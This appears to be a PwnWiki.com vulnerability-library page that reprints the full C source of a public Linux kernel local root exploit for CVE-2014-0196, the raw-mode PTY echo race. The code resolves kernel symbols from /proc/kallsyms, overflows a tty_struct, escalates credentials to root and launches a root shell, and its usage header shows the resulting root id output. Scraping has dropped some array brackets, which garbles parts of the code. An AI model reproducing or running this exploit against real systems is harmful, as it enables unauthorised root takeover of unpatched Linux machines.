免费、自由、人人可编辑的漏洞库--PwnWiki.com
,
EXP
/* * CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race * condition * * Slightly-less-than-POC privilege escalation exploit * For kernels >= v3.14-rc1 * * Matthew Daley <email protected> * * Usage: * $ gcc cve-2014-0196-md.c -lutil -lpthread * $ ./a.out * + Resolving symbols * + Resolved commit_creds: 0xffffffff81056694 * + Resolved prepare_kernel_cred: 0xffffffff810568a7 * + Doing once-off allocations * + Attempting to overflow into a tty_struct............... * + Got it :) * # id * uid=0(root) gid=0(root) groups=0(root) * * WARNING: The overflow placement is still less-than-ideal; there is a 1/4 * chance that the overflow will go off the end of a slab. This does not * necessarily lead to an immediate kernel crash, but you should be prepared * for the worst (i.e. kernel oopsing in a bad state). In theory this would be * avoidable by reading /proc/slabinfo on systems where it is still available * to unprivileged users. * * Caveat: The vulnerability should be exploitable all the way from * v2.6.31-rc3, however relevant changes to the TTY subsystem were made in * commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9 ("tty: Halve flip buffer * GFP_ATOMIC memory consumption") that make exploitation simpler, which this * exploit relies on. * * Thanks to Jon Oberheide for his help on exploitation technique. */ #include <sys/stat.h> #include <sys/types.h> #include <fcntl.h> #include <pthread.h> #include <pty.h> #include <stdio.h> #include <string.h> #include <termios.h> #include <unistd.h> #define TTY_MAGIC 0x5401 #define ONEOFF_ALLOCS 200 #define RUN_ALLOCS 30 struct device; struct tty_driver; struct tty_operations; typedef struct { int counter; } atomic_t; struct kref { atomic_t refcount; }; struct tty_struct_header { int magic; struct kref kref; struct device *dev; struct tty_driver *driver; const struct tty_operations *ops; } overwrite; typedef int __attribute__((regparm(3))) (* commit_creds_fn)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* prepare_kernel_cred_fn)(unsigned long cred); int master_fd, slave_fd; char buf1024 = {0}; commit_creds_fn commit_creds; prepare_kernel_cred_fn prepare_kernel_cred; int payload(void) { commit_creds(prepare_kernel_cred(0)); return 0; } unsigned long get_symbol(char *target_name) { FILE *f; unsigned long addr; char dummy; char name256; int ret = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) return 0; while (ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, name); if (ret == 0) { fscanf(f, "%s\n", name); continue; } if (!strcmp(name, target_name)) { printf("+ Resolved %s: %p\n", target_name, (void *)addr); fclose(f); return addr; } } printf("- Couldn't resolve \"%s\"\n", name); fclose(f); return 0; } void *overwrite_thread_fn(void *p) { write(slave_fd, buf, 511); write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1)); write(slave_fd, &overwrite, sizeof(overwrite)); } int main() { char scratch1024 = {0}; void *tty_operations64; int i, temp_fd_1, temp_fd_2; for (i = 0; i < 64; ++i) tty_operationsi = payload; overwrite.magic = TTY_MAGIC; overwrite.kref.refcount.counter = 0x1337; overwrite.dev = (struct device *)scratch; overwrite.driver = (struct tty_driver *)scratch; overwrite.ops = (struct tty_operations *)tty_operations; puts("+ Resolving symbols"); commit_creds = (commit_creds_fn)get_symbol("commit_creds"); prepare_kernel_cred = (prepare_kernel_cred_fn)get_symbol("prepare_kernel_cred"); if (!commit_creds || !prepare_kernel_cred) return 1; puts("+ Doing once-off allocations"); for (i = 0; i < ONEOFF_ALLOCS; ++i) if (openpty(&temp_fd_1, &temp_fd_2, NULL, NULL, NULL) == -1) { puts("- pty creation failed"); return 1; } printf("+ Attempting to overflow into a tty_struct..."); fflush(stdout); for (i = 0; ; ++i) { struct termios t; int fdsRUN_ALLOCS, fds2RUN_ALLOCS, j; pthread_t overwrite_thread; if (!(i & 0xfff)) { putchar('.'); fflush(stdout); } if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) { puts("\n- pty creation failed"); return 1; } for (j = 0; j < RUN_ALLOCS; ++j) if (openpty(&fdsj, &fds2j, NULL, NULL, NULL) == -1) { puts("\n- pty creation failed"); return 1; } close(fdsRUN_ALLOCS / 2); close(fds2RUN_ALLOCS / 2); write(slave_fd, buf, 1); tcgetattr(master_fd, &t); t.c_oflag &= ~OPOST; t.c_lflag |= ECHO; tcsetattr(master_fd, TCSANOW, &t); if (pthread_create(&overwrite_thread, NULL, overwrite_thread_fn, NULL)) { puts("\n- Overwrite thread creation failed"); return 1; } write(master_fd, "A", 1); pthread_join(overwrite_thread, NULL); for (j = 0; j < RUN_ALLOCS; ++j) { if (j == RUN_ALLOCS / 2) continue; ioctl(fdsj, 0xdeadbeef); ioctl(fds2j, 0xdeadbeef); close(fdsj); close(fds2j); } ioctl(master_fd, 0xdeadbeef); ioctl(slave_fd, 0xdeadbeef); close(master_fd); close(slave_fd); if (!setresuid(0, 0, 0)) { setresgid(0, 0, 0); puts("\n+ Got it :)"); execl("/bin/bash", "/bin/bash", NULL); } } }
pwnwiki.com